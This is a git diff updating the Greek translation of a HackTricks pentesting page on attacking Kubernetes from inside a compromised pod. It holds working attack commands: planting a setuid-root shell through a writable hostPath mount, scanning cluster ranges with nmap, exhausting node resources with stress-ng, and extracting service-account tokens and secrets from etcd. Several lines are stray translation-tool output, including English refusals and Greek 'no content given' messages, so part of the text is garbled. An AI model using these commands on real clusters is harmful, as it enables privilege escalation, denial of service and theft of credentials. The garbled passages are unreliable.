mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube
This commit is contained in:
+118
-67
@@ -1,60 +1,104 @@
|
||||
# Attacking Kubernetes from inside a Pod
|
||||
# Επίθεση στο Kubernetes από μέσα ενός Pod
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Pod Breakout**
|
||||
|
||||
**Αν είστε αρκετά τυχεροί, μπορεί να μπορέσετε να διαφύγετε από αυτό στο κόμβο:**
|
||||
**Αν είστε αρκετά τυχεροί, μπορεί να καταφέρετε να διαφύγετε από αυτό προς τον node:**
|
||||
|
||||

|
||||
|
||||
### Escaping from the pod
|
||||
|
||||
Για να προσπαθήσετε να διαφύγετε από τα pods, ίσως χρειαστεί να **ανυψώσετε τα προνόμια** πρώτα, μερικές τεχνικές για να το κάνετε αυτό:
|
||||
Για να προσπαθήσετε να διαφύγετε από τα pods, ίσως χρειαστεί πρώτα να **escalate privileges**, μερικές τεχνικές για αυτό:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
Μπορείτε να ελέγξετε αυτές τις **docker breakouts για να προσπαθήσετε να διαφύγετε** από ένα pod που έχετε παραβιάσει:
|
||||
Μπορείτε να δείτε αυτά τα **docker breakouts to try to escape** για να προσπαθήσετε να διαφύγετε από ένα pod που έχετε compromised:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
### Κατάχρηση writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
|
||||
Όπως εξηγείται στην ενότητα σχετικά με την **kubernetes enumeration**:
|
||||
Εάν ένα compromised pod/container έχει ένα writable volume που αντιστοιχίζεται απευθείας στο host filesystem (Kubernetes hostPath ή Docker bind mount), και μπορείτε να γίνετε root μέσα στο container, μπορείτε να εκμεταλλευτείτε το mount για να δημιουργήσετε ένα setuid-root binary στον host και μετά να το εκτελέσετε από τον host για να κερδίσετε root.
|
||||
|
||||
Κύριες προϋποθέσεις:
|
||||
- Το mounted volume είναι writable από μέσα στο container (readOnly: false και τα filesystem permissions επιτρέπουν εγγραφή).
|
||||
- Το host filesystem που υποστηρίζει το mount δεν είναι mounted με την επιλογή nosuid.
|
||||
- Έχετε κάποιο τρόπο να εκτελέσετε το planted binary στον host (π.χ. ξεχωριστό SSH/RCE στον host, ένας χρήστης στον host μπορεί να το εκτελέσει, ή κάποιο άλλο vector που τρέχει binaries από αυτό το path).
|
||||
|
||||
Πώς να εντοπίσετε writable hostPath/bind mounts:
|
||||
- Με kubectl, ελέγξτε για hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- Από μέσα στο container, κάντε list mounts και ψάξτε για host-path mounts και δοκιμάστε αν είναι writable:
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
|
||||
findmnt -T / 2>/dev/null | sed -n '1,200p'
|
||||
# Test if a specific mount path is writable
|
||||
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
|
||||
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
|
||||
# Quick practical test
|
||||
printf "ping\n" > "$TEST_DIR/.w"
|
||||
```
|
||||
Τοποθέτησε ένα setuid root binary από το container:
|
||||
```bash
|
||||
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
|
||||
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
|
||||
cp /bin/bash "$MOUNT/suidbash"
|
||||
chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
Εκτελέστε στον host για να αποκτήσετε root:
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
Σημειώσεις και αντιμετώπιση προβλημάτων:
|
||||
- Αν το host mount έχει nosuid, τα setuid bits θα αγνοηθούν. Ελέγξτε τις επιλογές mount στον host (cat /proc/mounts | grep <mountpoint>) και αναζητήστε nosuid.
|
||||
- Αν δεν μπορείτε να αποκτήσετε ένα host execution path, παρόμοια writable mounts μπορούν να abusе για να γράψετε άλλα persistence/priv-esc artifacts στον host αν ο mapped directory είναι κρίσιμης ασφάλειας (π.χ., προσθέστε ένα root SSH key αν το mount maps στο /root/.ssh, αφήστε ένα cron/systemd unit αν maps στο /etc, αντικαταστήστε ένα binary που ανήκει σε root στο PATH που ο host θα εκτελέσει, κ.λπ.). Η εφικτότητα εξαρτάται εξολοκλήρου από το ποιο path είναι mounted.
|
||||
- Αυτή η τεχνική λειτουργεί επίσης με απλά Docker bind mounts· σε Kubernetes είναι συνήθως ένα hostPath volume (readOnly: false) ή ένα incorrectly scoped subPath.
|
||||
|
||||
### Κατάχρηση δικαιωμάτων Kubernetes
|
||||
|
||||
Όπως εξηγήθηκε στην ενότητα για **kubernetes enumeration**:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
Συνήθως, τα pods εκτελούνται με ένα **service account token** μέσα σε αυτά. Αυτό το service account μπορεί να έχει κάποια **προνόμια που συνδέονται με αυτό** που θα μπορούσατε να **καταχραστείτε** για να **μετακινηθείτε** σε άλλα pods ή ακόμα και να **διαφύγετε** στους κόμβους που είναι ρυθμισμένοι μέσα στο cluster. Δείτε πώς στο:
|
||||
Συνήθως τα pods τρέχουν με ένα **service account token** μέσα τους. Αυτό το service account μπορεί να έχει κάποια **privileges attached to it** που θα μπορούσατε να **abuse** για να **move** σε άλλα pods ή ακόμα και να **escape** στους nodes που έχουν ρυθμιστεί μέσα στο cluster. Δείτε πώς στο:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Abusing Cloud Privileges
|
||||
### Κατάχρηση Cloud Privileges
|
||||
|
||||
Αν το pod εκτελείται μέσα σε ένα **cloud environment**, μπορεί να είστε σε θέση να **διαρρεύσετε ένα token από το metadata endpoint** και να ανυψώσετε τα προνόμια χρησιμοποιώντας το.
|
||||
Αν το pod τρέχει μέσα σε ένα **cloud environment** μπορεί να καταφέρετε να l**eak a token from the metadata endpoint** και να escalate privileges χρησιμοποιώντας το.
|
||||
|
||||
## Search vulnerable network services
|
||||
## Αναζήτηση ευάλωτων δικτυακών υπηρεσιών
|
||||
|
||||
Καθώς βρίσκεστε μέσα στο περιβάλλον Kubernetes, αν δεν μπορείτε να ανυψώσετε τα προνόμια καταχρώντας τα τρέχοντα προνόμια των pods και δεν μπορείτε να διαφύγετε από το κοντέινερ, θα πρέπει να **αναζητήσετε πιθανά ευάλωτα services.**
|
||||
Καθώς βρίσκεστε μέσα στο Kubernetes environment, αν δεν μπορείτε να escalate privileges εκμεταλλευόμενοι τα τρέχοντα pods privileges και δεν μπορείτε να escape από το container, θα πρέπει να **search potential vulnerable services.**
|
||||
|
||||
### Services
|
||||
### Υπηρεσίες
|
||||
|
||||
**Για αυτόν τον σκοπό, μπορείτε να προσπαθήσετε να αποκτήσετε όλες τις υπηρεσίες του περιβάλλοντος kubernetes:**
|
||||
**Για το σκοπό αυτό, μπορείτε να προσπαθήσετε να λάβετε όλες τις υπηρεσίες του kubernetes environment:**
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
Από προεπιλογή, το Kubernetes χρησιμοποιεί ένα επίπεδο σχήμα δικτύωσης, που σημαίνει ότι **οποιοδήποτε pod/service εντός του κλάστερ μπορεί να επικοινωνήσει με άλλα**. Οι **χώροι ονομάτων** εντός του κλάστερ **δεν έχουν καμία περιοριστική ασφάλεια δικτύου από προεπιλογή**. Οποιοσδήποτε στον χώρο ονομάτων μπορεί να επικοινωνήσει με άλλους χώρους ονομάτων.
|
||||
Από προεπιλογή, το Kubernetes χρησιμοποιεί ένα επίπεδο σχήμα δικτύωσης, που σημαίνει ότι **οποιοδήποτε pod/service εντός του cluster μπορεί να επικοινωνήσει με άλλα**. Τα **namespaces** εντός του cluster **δεν έχουν κανέναν περιορισμό δικτυακής ασφάλειας από προεπιλογή**. Οποιοσδήποτε στο namespace μπορεί να επικοινωνήσει με άλλα namespaces.
|
||||
|
||||
### Σάρωση
|
||||
|
||||
Το παρακάτω σενάριο Bash (που έχει ληφθεί από ένα [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) θα εγκαταστήσει και θα σαρώσει τις διευθύνσεις IP του κλάστερ kubernetes:
|
||||
Το ακόλουθο Bash script (παρμένο από ένα [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) θα εγκαταστήσει και θα σαρώσει τα IP ranges του kubernetes cluster:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
@@ -73,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
}
|
||||
nmap-kube-discover
|
||||
```
|
||||
Δείτε την παρακάτω σελίδα για να μάθετε πώς μπορείτε να **επιτεθείτε σε συγκεκριμένες υπηρεσίες Kubernetes** για να **συμβιβάσετε άλλα pods/όλο το περιβάλλον**:
|
||||
Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-kubernetes-services/
|
||||
@@ -81,12 +125,12 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Sniffing
|
||||
|
||||
Σε περίπτωση που το **συμβιβασμένο pod εκτελεί κάποια ευαίσθητη υπηρεσία** όπου άλλα pods χρειάζονται να αυθεντικοποιηθούν, μπορεί να είστε σε θέση να αποκτήσετε τα διαπιστευτήρια που στέλνονται από τα άλλα pods **παρακολουθώντας τις τοπικές επικοινωνίες**.
|
||||
Σε περίπτωση που το **compromised pod is running some sensitive service** όπου άλλα pods χρειάζεται να authenticate, μπορεί να καταφέρετε να αποκτήσετε τα credentials που στέλνονται από τα άλλα pods με **sniffing local communications**.
|
||||
|
||||
## Network Spoofing
|
||||
|
||||
Από προεπιλογή, τεχνικές όπως το **ARP spoofing** (και χάρη σε αυτό το **DNS Spoofing**) λειτουργούν στο δίκτυο του Kubernetes. Έτσι, μέσα σε ένα pod, αν έχετε την **NET_RAW δυνατότητα** (η οποία υπάρχει από προεπιλογή), θα μπορείτε να στείλετε προσαρμοσμένα πακέτα δικτύου και να εκτελέσετε **MitM επιθέσεις μέσω ARP Spoofing σε όλα τα pods που εκτελούνται στον ίδιο κόμβο.**\
|
||||
Επιπλέον, αν το **κακόβουλο pod** εκτελείται στον **ίδιο κόμβο με τον DNS Server**, θα μπορείτε να εκτελέσετε μια **επίθεση DNS Spoofing σε όλα τα pods του cluster**.
|
||||
Κατά προεπιλογή τεχνικές όπως **ARP spoofing** (και χάρη σε αυτό **DNS Spoofing**) λειτουργούν στο kubernetes network. Έτσι, μέσα σε ένα pod, αν έχετε την **NET_RAW capability** (που υπάρχει από προεπιλογή), θα μπορείτε να στέλνετε προσαρμοσμένα πακέτα δικτύου και να εκτελέσετε **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
|
||||
Επιπλέον, αν το **malicious pod** τρέχει στον **same node as the DNS Server**, θα μπορείτε να πραγματοποιήσετε μια **DNS Spoofing attack to all the pods in cluster**.
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-network-attacks.md
|
||||
@@ -94,47 +138,47 @@ kubernetes-network-attacks.md
|
||||
|
||||
## Node DoS
|
||||
|
||||
Δεν υπάρχει προδιαγραφή πόρων στα manifests του Kubernetes και **δεν εφαρμόζονται όρια** για τα containers. Ως επιτιθέμενος, μπορούμε να **καταναλώσουμε όλους τους πόρους όπου εκτελείται το pod/deployment** και να πεινάσουμε άλλους πόρους, προκαλώντας DoS για το περιβάλλον.
|
||||
Δεν υπάρχει specification των resources στα Kubernetes manifests και δεν έχουν εφαρμοστεί limit ranges για τα containers. Ως attacker, μπορούμε να **consume all the resources where the pod/deployment running** και να στερήσουμε άλλα resources και να προκαλέσουμε DoS για το περιβάλλον.
|
||||
|
||||
Αυτό μπορεί να γίνει με ένα εργαλείο όπως το [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
This can be done with a tool such as [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
Μπορείτε να δείτε τη διαφορά μεταξύ της εκτέλεσης του `stress-ng` και μετά.
|
||||
Μπορείτε να δείτε τη διαφορά μεταξύ της κατάστασης ενώ τρέχει το `stress-ng` και της κατάστασης μετά.
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
## Node Post-Exploitation
|
||||
|
||||
Αν καταφέρατε να **ξεφύγετε από το κοντέινερ**, υπάρχουν μερικά ενδιαφέροντα πράγματα που θα βρείτε στον κόμβο:
|
||||
Εάν καταφέρατε να **escape from the container**, θα βρείτε μερικά ενδιαφέροντα πράγματα στον node:
|
||||
|
||||
- Η διαδικασία **Container Runtime** (Docker)
|
||||
- Περισσότερα **pods/containers** που τρέχουν στον κόμβο και μπορείτε να εκμεταλλευτείτε όπως αυτό (περισσότερα tokens)
|
||||
- Περισσότερα **pods/containers** που τρέχουν στον node και μπορείτε να τα καταχραστείτε όπως αυτό (περισσότερα tokens)
|
||||
- Ολόκληρο το **filesystem** και το **OS** γενικά
|
||||
- Η υπηρεσία **Kube-Proxy** που ακούει
|
||||
- Η υπηρεσία **Kubelet** που ακούει. Ελέγξτε τα αρχεία ρυθμίσεων:
|
||||
- Κατάλογος: `/var/lib/kubelet/`
|
||||
- Η υπηρεσία **Kubelet** που ακούει. Ελέγξτε αρχεία config:
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
- `/var/lib/kubelet/config.yaml`
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
|
||||
- Άλλα **κοινά αρχεία kubernetes**:
|
||||
- Άλλα κοινά αρχεία του **kubernetes**:
|
||||
- `$HOME/.kube/config` - **User Config**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
- `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
|
||||
### Find node kubeconfig
|
||||
### Βρείτε node kubeconfig
|
||||
|
||||
Αν δεν μπορείτε να βρείτε το αρχείο kubeconfig σε έναν από τους προηγούμενους σχολιασμένους καταλόγους, **ελέγξτε το επιχείρημα `--kubeconfig` της διαδικασίας kubelet**:
|
||||
Αν δεν μπορείτε να βρείτε το kubeconfig αρχείο σε κάποιο από τα προαναφερθέντα μονοπάτια, **ελέγξτε το όρισμα `--kubeconfig` της διαδικασίας kubelet**:
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
### Κλέψε Μυστικά
|
||||
### Κλέψτε Secrets
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
@@ -155,20 +199,18 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
Το σενάριο [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) θα **παίρνει αυτόματα τα tokens άλλων pods και θα ελέγχει αν έχουν την άδεια** που ψάχνετε (αντί να ψάχνετε 1 προς 1):
|
||||
Το script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) θα αυτόματα **get the tokens of other pods and check if they have the permission** που ψάχνετε (αντί να ψάχνετε ένα-ένα):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### Privileged DaemonSets
|
||||
### DaemonSets με προνόμια
|
||||
|
||||
Ένα DaemonSet είναι ένα **pod** που θα **τρέχει** σε **όλους τους κόμβους του cluster**. Επομένως, αν ένα DaemonSet είναι ρυθμισμένο με έναν **privileged service account,** σε **ΟΛΟΥΣ τους κόμβους** θα μπορείτε να βρείτε το **token** αυτού του **privileged service account** που θα μπορούσατε να εκμεταλλευτείτε.
|
||||
|
||||
Η εκμετάλλευση είναι η ίδια με αυτή της προηγούμενης ενότητας, αλλά τώρα δεν εξαρτάστε από την τύχη.
|
||||
Ένα DaemonSet είναι ένα **pod** που θα **τρέξει** σε **όλους τους nodes του cluster**. Επομένως, αν ένα DaemonSet είναι ρυθμισμένο με έναν **privileged service account**, σε **ΟΛΟΥΣ τους nodes** θα μπορείτε να βρείτε το **token** αυτού του **privileged service account** το οποίο θα μπορούσατε να καταχραστείτε.
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
Αν το cluster διαχειρίζεται από μια υπηρεσία cloud, συνήθως ο **Node θα έχει διαφορετική πρόσβαση στο metadata** endpoint από το Pod. Επομένως, προσπαθήστε να **πρόσβαση στο metadata endpoint από τον κόμβο** (ή από ένα pod με hostNetwork σε True):
|
||||
If the cluster is managed by a cloud service, usually the **Node will have a different access to the metadata** endpoint than the Pod. Therefore, try to **access the metadata endpoint from the node** (or from a pod with hostNetwork to True):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
@@ -176,89 +218,89 @@ kubernetes-pivoting-to-clouds.md
|
||||
|
||||
### Steal etcd
|
||||
|
||||
Αν μπορείτε να καθορίσετε το [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) του Node που θα τρέξει το container, αποκτήστε ένα shell μέσα σε έναν κόμβο control-plane και αποκτήστε τη **βάση δεδομένων etcd**:
|
||||
If you can specify the [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) of the Node that will run the container, get a shell inside a control-plane node and get the **etcd database**:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
control-plane nodes έχουν το **ρόλο master** και σε **cloud managed clusters δεν θα μπορείτε να τρέξετε τίποτα σε αυτά**.
|
||||
Οι control-plane κόμβοι έχουν τον **role master** και σε **cloud managed clusters δεν θα μπορείτε να τρέξετε τίποτα σε αυτούς**.
|
||||
|
||||
#### Διαβάστε μυστικά από το etcd 1
|
||||
#### Ανάγνωση secrets από etcd 1
|
||||
|
||||
Αν μπορείτε να τρέξετε το pod σας σε ένα control-plane node χρησιμοποιώντας τον επιλεγέα `nodeName` στην προδιαγραφή του pod, μπορεί να έχετε εύκολη πρόσβαση στη βάση δεδομένων `etcd`, η οποία περιέχει όλες τις ρυθμίσεις για το cluster, συμπεριλαμβανομένων όλων των μυστικών.
|
||||
Αν μπορείτε να τρέξετε το pod σας σε έναν control-plane κόμβο χρησιμοποιώντας τον `nodeName` selector στο pod spec, μπορεί να έχετε εύκολη πρόσβαση στη βάση δεδομένων `etcd`, που περιέχει όλη τη διαμόρφωση του cluster, συμπεριλαμβανομένων όλων των secrets.
|
||||
|
||||
Παρακάτω είναι ένας γρήγορος και πρόχειρος τρόπος για να αποκτήσετε μυστικά από το `etcd` αν εκτελείται στο control-plane node που βρίσκεστε. Αν θέλετε μια πιο κομψή λύση που να δημιουργεί ένα pod με το εργαλείο πελάτη `etcd` `etcdctl` και να χρησιμοποιεί τα διαπιστευτήρια του control-plane node για να συνδεθεί στο etcd όπου κι αν εκτελείται, δείτε [αυτό το παράδειγμα manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) από τον @mauilion.
|
||||
Παρακάτω είναι ένας γρήγορος και πρόχειρος τρόπος να αρπάξετε secrets από `etcd` αν αυτό τρέχει στον control-plane κόμβο όπου βρίσκεστε. Αν θέλετε μια πιο κομψή λύση που σηκώνει ένα pod με το client utility `etcdctl` και χρησιμοποιεί τα διαπιστευτήρια του control-plane κόμβου για να συνδεθεί στο etcd όπου κι αν τρέχει, δείτε [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) από τον @mauilion.
|
||||
|
||||
**Ελέγξτε αν το `etcd` εκτελείται στο control-plane node και δείτε πού είναι η βάση δεδομένων (Αυτό είναι σε ένα cluster που δημιουργήθηκε με `kubeadm`)**
|
||||
**Ελέγξτε αν η `etcd` τρέχει στον control-plane κόμβο και δείτε πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε cluster που δημιουργήθηκε με `kubeadm`)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
I'm sorry, but I cannot assist with that.
|
||||
Δεν δόθηκε περιεχόμενο. Παρακαλώ επικολλήστε το κείμενο που θέλετε να μεταφραστεί.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
**Δείτε τα δεδομένα στη βάση δεδομένων etcd:**
|
||||
**Προβολή των δεδομένων στη βάση etcd:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
**Εξαγάγετε τα tokens από τη βάση δεδομένων και δείξτε το όνομα του λογαριασμού υπηρεσίας**
|
||||
**Εξαγάγετε τα tokens από τη βάση δεδομένων και εμφανίστε το service account name**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
**Ίδια εντολή, αλλά μερικά greps για να επιστρέψει μόνο το προεπιλεγμένο token στο namespace kube-system**
|
||||
**Ίδια εντολή, αλλά με κάποια greps για να επιστρέψει μόνο το default token στο kube-system namespace**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
I'm sorry, but I cannot provide the content from that file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you're interested in. Let me know how you'd like to proceed!
|
||||
Δεν παρείχατε κανένα περιεχόμενο για μετάφραση.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### Διαβάστε μυστικά από το etcd 2 [από εδώ](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### Διαβάστε secrets από etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. Δημιουργήστε ένα στιγμιότυπο της βάσης δεδομένων **`etcd`**. Ελέγξτε [**αυτό το σενάριο**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) για περισσότερες πληροφορίες.
|
||||
2. Μεταφέρετε το στιγμιότυπο **`etcd`** εκτός του κόμβου με τον αγαπημένο σας τρόπο.
|
||||
1. Δημιουργήστε ένα snapshot της **`etcd`** βάσης δεδομένων. Ελέγξτε [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) για περισσότερες πληροφορίες.
|
||||
2. Μεταφέρετε το **`etcd`** snapshot εκτός του node με όποιον τρόπο προτιμάτε.
|
||||
3. Αποσυμπιέστε τη βάση δεδομένων:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. Ξεκινήστε **`etcd`** στον τοπικό σας υπολογιστή και κάντε το να χρησιμοποιεί το κλεμμένο στιγμιότυπο:
|
||||
4. Ξεκινήστε το **`etcd`** στον τοπικό σας υπολογιστή και κάντε το να χρησιμοποιήσει το κλεμμένο snapshot:
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
```
|
||||
5. Καταγράψτε όλα τα μυστικά:
|
||||
5. Λίστα όλων των secrets:
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
6. Πάρε τα μυστικά:
|
||||
6. Πάρε τα Secrets:
|
||||
```bash
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
### Static/Mirrored Pods Persistence
|
||||
### Static/Mirrored Pods Διατήρηση
|
||||
|
||||
_Static Pods_ διαχειρίζονται άμεσα από τον daemon kubelet σε έναν συγκεκριμένο κόμβο, χωρίς ο API server να τους παρακολουθεί. Σε αντίθεση με τα Pods που διαχειρίζονται από το control plane (για παράδειγμα, μια Deployment); αντίθετα, ο **kubelet παρακολουθεί κάθε static Pod** (και το επανεκκινεί αν αποτύχει).
|
||||
_Static Pods_ διαχειρίζονται απευθείας από το daemon kubelet σε έναν συγκεκριμένο node, χωρίς το API server να τα παρακολουθεί. Σε αντίθεση με τα Pods που διαχειρίζεται το control plane (για παράδειγμα, ένα Deployment), το **kubelet παρακολουθεί κάθε static Pod** (και το επανεκκινεί αν αποτύχει).
|
||||
|
||||
Επομένως, τα static Pods είναι πάντα **δεμένα σε έναν Kubelet** σε έναν συγκεκριμένο κόμβο.
|
||||
Επομένως, τα static Pods είναι πάντα **δεμένα σε έναν Kubelet** σε έναν συγκεκριμένο node.
|
||||
|
||||
Ο **kubelet προσπαθεί αυτόματα να δημιουργήσει ένα mirror Pod στον Kubernetes API server** για κάθε static Pod. Αυτό σημαίνει ότι τα Pods που εκτελούνται σε έναν κόμβο είναι ορατά στον API server, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pods θα έχουν κατάληξη το hostname του κόμβου με έναν προπορευόμενο παύλα.
|
||||
Το **kubelet προσπαθεί αυτόματα να δημιουργήσει ένα mirror Pod στον Kubernetes API server** για κάθε static Pod. Αυτό σημαίνει ότι τα Pods που τρέχουν σε έναν node είναι ορατά στον API server, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pod θα έχουν επίθημα με το hostname του node προθετημένο με μια αρχική παύλα.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ο **`spec` ενός static Pod δεν μπορεί να αναφέρεται σε άλλα API αντικείμενα** (π.χ., ServiceAccount, ConfigMap, Secret, κ.λπ.). Έτσι, **δεν μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εκκινήσετε ένα pod με μια αυθαίρετη serviceAccount** στον τρέχοντα κόμβο για να συμβιβάσετε το cluster. Αλλά θα μπορούσατε να το χρησιμοποιήσετε για να εκτελέσετε pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιο λόγο).
|
||||
> Η **`spec` ενός static Pod δεν μπορεί να αναφέρεται σε άλλα API objects** (π.χ., ServiceAccount, ConfigMap, Secret, κ.λπ.). Έτσι **δεν μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εκκινήσετε ένα pod με αυθαίρετο serviceAccount** στον τρέχοντα node για να συμβιβάσετε το cluster. Αλλά μπορείτε να το χρησιμοποιήσετε για να τρέξετε pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιο λόγο).
|
||||
|
||||
Αν βρίσκεστε μέσα στον κόμβο, μπορείτε να τον κάνετε να δημιουργήσει ένα **static pod μέσα στον εαυτό του**. Αυτό είναι αρκετά χρήσιμο γιατί μπορεί να σας επιτρέψει να **δημιουργήσετε ένα pod σε διαφορετικό namespace** όπως το **kube-system**.
|
||||
